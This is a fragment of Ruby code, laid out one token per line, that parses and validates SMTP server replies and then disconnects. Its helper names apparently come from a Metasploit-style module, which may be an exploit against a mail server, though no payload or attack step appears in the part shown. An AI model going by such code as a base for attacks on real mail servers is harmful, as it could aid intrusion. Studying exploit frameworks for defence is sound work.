code !~ /\
A
(
#{expected_code})\z/mn
throw
(
:failure
,
"unexpected #{code}, expected #{expected_code}"
)
end
end
line_begins_with = lines[i][
0
,
4
]
line_should_begin_with = code + (i == lines.size-
1
?
" "
:
"-"
)
if
line_begins_with != line_should_begin_with
throw
(
:failure
,
"line begins with #{line_begins_with}, "
\
"should begin with #{line_should_begin_with}"
)
end
end
throw
(
:failure
,
"malformed reply (join)"
)
if
lines.join(
""
) != data
if
expected_data
and
data !~ /
#{expected_data}/mn
throw
(
:failure
,
"unexpected data"
)
end
reply = { code: code, lines: lines }
@smtp_state
=
:send
return
reply
end
fail_with(
"smtp_recv"
,
"#{failure}"
)
if
expected_code
return
nil
end
def
smtp_disconnect
disconnect
if
sock
fail_with(
"smtp_disconnect"
,
"sock isn't nil"
)
if
sock
@smtp_state
=
:disconnected
end
end